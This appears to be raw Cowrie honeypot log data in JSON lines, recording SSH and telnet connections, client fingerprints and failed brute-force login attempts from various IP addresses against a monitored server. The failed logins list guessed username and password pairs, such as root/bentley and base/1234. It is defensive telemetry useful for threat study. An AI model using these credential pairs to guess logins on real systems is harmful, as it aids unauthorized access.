{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":45844,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1a7e37c0e73","protocol":"ssh","message":"New connection: 193.37.70.224:45844 (159.203.135.109:22) [session: f1a7e37c0e73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:22:28.281700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:22:28.286700Z","src_ip":"193.37.70.224","session":"f1a7e37c0e73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:22:28.292367Z","src_ip":"185.236.22.41","session":"dc371da25c2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:22:28.375138Z","src_ip":"193.37.70.224","session":"f1a7e37c0e73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bentley","message":"login attempt [root/bentley] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:22:28.629293Z","src_ip":"185.236.22.41","session":"dc371da25c2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"galatasaray","message":"login attempt [root/galatasaray] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:22:28.642484Z","src_ip":"193.37.70.224","session":"f1a7e37c0e73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:22:29.733227Z","src_ip":"193.37.70.224","session":"f1a7e37c0e73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:22:29.752590Z","src_ip":"185.236.22.41","session":"dc371da25c2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.12104511260986,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:22:35.890244Z","src_ip":"69.4.83.194","session":"677f5e0b32f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.242.203.160","src_port":38094,"dst_ip":"159.203.135.109","dst_port":22,"session":"2967460011a9","protocol":"ssh","message":"New connection: 43.242.203.160:38094 (159.203.135.109:22) [session: 2967460011a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:22:50.685676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:22:50.690845Z","src_ip":"43.242.203.160","session":"2967460011a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:22:51.032954Z","src_ip":"43.242.203.160","session":"2967460011a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"base","password":"1234","message":"login attempt [base/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:22:52.166324Z","src_ip":"43.242.203.160","session":"2967460011a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:22:53.408076Z","src_ip":"43.242.203.160","session":"2967460011a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.172828674316406,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:23:02.183218Z","src_ip":"69.4.83.194","session":"e66835656ba5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.01256251335144,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:23:17.073413Z","src_ip":"180.235.129.180","session":"afd99405fd76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.242.203.160","src_port":52486,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f045d1bdc12","protocol":"ssh","message":"New connection: 43.242.203.160:52486 (159.203.135.109:22) [session: 4f045d1bdc12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:23:45.038368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:23:45.126929Z","src_ip":"43.242.203.160","session":"4f045d1bdc12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:23:45.361026Z","src_ip":"43.242.203.160","session":"4f045d1bdc12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"julien","password":"julien","message":"login attempt [julien/julien] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:23:46.410177Z","src_ip":"43.242.203.160","session":"4f045d1bdc12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:23:47.666389Z","src_ip":"43.242.203.160","session":"4f045d1bdc12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":52408,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ca475dedb79","protocol":"ssh","message":"New connection: 176.32.39.21:52408 (159.203.135.109:22) [session: 5ca475dedb79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:23:48.783819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:23:48.788699Z","src_ip":"176.32.39.21","session":"5ca475dedb79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:23:48.910764Z","src_ip":"176.32.39.21","session":"5ca475dedb79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q123321q","message":"login attempt [root/q123321q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:23:49.273498Z","src_ip":"176.32.39.21","session":"5ca475dedb79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:23:50.396272Z","src_ip":"176.32.39.21","session":"5ca475dedb79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":33122,"dst_ip":"159.203.135.109","dst_port":22,"session":"81c878d760e5","protocol":"ssh","message":"New connection: 103.27.238.114:33122 (159.203.135.109:22) [session: 81c878d760e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:24:02.067783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:24:02.079831Z","src_ip":"103.27.238.114","session":"81c878d760e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:24:02.369494Z","src_ip":"103.27.238.114","session":"81c878d760e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"madman","message":"login attempt [root/madman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:24:03.181705Z","src_ip":"103.27.238.114","session":"81c878d760e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:24:04.453114Z","src_ip":"103.27.238.114","session":"81c878d760e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":54258,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0aa70035a4a","protocol":"ssh","message":"New connection: 147.45.197.250:54258 (10.17.0.5:22) [session: b0aa70035a4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:24:31.710202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:24:31.718662Z","src_ip":"147.45.197.250","session":"b0aa70035a4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:24:31.812050Z","src_ip":"147.45.197.250","session":"b0aa70035a4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12061988","message":"login attempt [root/12061988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:24:32.093503Z","src_ip":"147.45.197.250","session":"b0aa70035a4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:24:33.190241Z","src_ip":"147.45.197.250","session":"b0aa70035a4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.242.203.160","src_port":38646,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a976b35c3df","protocol":"ssh","message":"New connection: 43.242.203.160:38646 (159.203.135.109:22) [session: 9a976b35c3df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:24:39.570632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:24:39.637257Z","src_ip":"43.242.203.160","session":"9a976b35c3df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:24:39.874898Z","src_ip":"43.242.203.160","session":"9a976b35c3df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mc","password":"mc123","message":"login attempt [mc/mc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:24:41.003823Z","src_ip":"43.242.203.160","session":"9a976b35c3df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:24:42.277899Z","src_ip":"43.242.203.160","session":"9a976b35c3df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.97.62.150","src_port":51272,"dst_ip":"159.203.135.109","dst_port":22,"session":"e27c7af15d6c","protocol":"ssh","message":"New connection: 23.97.62.150:51272 (159.203.135.109:22) [session: e27c7af15d6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:25:02.012322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:25:02.023197Z","src_ip":"23.97.62.150","session":"e27c7af15d6c","protocol":"ssh"}
